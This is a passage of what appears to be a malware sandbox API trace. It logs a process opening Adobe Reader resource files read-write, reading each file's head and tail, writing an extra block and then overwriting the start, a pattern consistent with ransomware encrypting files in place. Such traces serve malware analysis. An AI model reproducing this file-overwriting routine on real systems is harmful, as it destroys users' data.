lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-BoldOblique.otf", lpUsedDefaultChar=0x0) returned 26 [0044.511] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.513] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x80dc [0044.513] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.513] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x80dc [0044.513] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.514] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.514] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.514] CloseHandle (hObject=0x1b0) returned 1 [0044.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.514] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.515] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x17098 [0044.515] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.515] ReleaseMutex (hMutex=0x128) returned 1 [0044.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0044.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Regular.otf", cchWideChar=21, lpMultiByteStr=0x1e7894c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0044.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.517] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x16098 [0044.517] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.518] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x16098 [0044.518] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dece48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.518] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.518] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.518] CloseHandle (hObject=0x1b0) returned 1 [0044.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.519] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.519] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6c96 [0044.519] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.519] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.519] ReleaseMutex (hMutex=0x128) returned 1 [0044.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_DZ.txt", lpUsedDefaultChar=0x0) returned 30 [0044.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.520] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c96 [0044.520] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.521] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c96 [0044.521] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.522] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.522] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.522] CloseHandle (hObject=0x1b0) returned 1 [0044.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.522] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.522] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6c96 [0044.522] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.522] ReleaseMutex (hMutex=0x128) returned 1 [0044.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_QA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_QA.txt", lpUsedDefaultChar=0x0) returned 30 [0044.523] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.524] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c96 [0044.524] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.525] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c96 [0044.525] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.526] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.526] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.526] CloseHandle (hObject=0x1b0) returned 1 [0044.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.526] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.526] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6cdc [0044.526] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.527] ReleaseMutex (hMutex=0x128) returned 1 [0044.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0044.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0044.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.528] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5cdc [0044.528] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.529] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5cdc [0044.529] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.530] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.530] CloseHandle (hObject=0x1b0) returned 1 [0044.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6e76 [0044.530] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.531] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.531] ReleaseMutex (hMutex=0x128) returned 1 [0044.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0044.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.el_GR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.el_GR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0044.531] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.937] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e76 [0044.937] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.958] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5e76 [0044.958] WriteFile (in: hFile=0x1b0, lpBuffer=0x2619c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2619c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.959] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.959] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.959] CloseHandle (hObject=0x1b0) returned 1 [0044.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.959] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.960] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6ed0 [0044.960] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.960] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.960] ReleaseMutex (hMutex=0x128) returned 1 [0044.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_CO.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_CO.txt", lpUsedDefaultChar=0x0) returned 30 [0044.960] ReadFile (in: hFile=0x1b0, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.971] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ed0 [0044.971] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.976] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ed0 [0044.976] WriteFile (in: hFile=0x1b0, lpBuffer=0x2615c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.977] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0044.977] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.977] CloseHandle (hObject=0x1b0) returned 1 [0044.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0044.978] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.978] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6ec8 [0044.978] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0044.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.978] ReleaseMutex (hMutex=0x128) returned 1 [0044.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_PA.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb1c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_PA.txt", lpUsedDefaultChar=0x0) returned 30 [0044.978] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.986] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ec8 [0044.986] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.008] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5ec8 [0045.009] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c8508*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c8508*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, 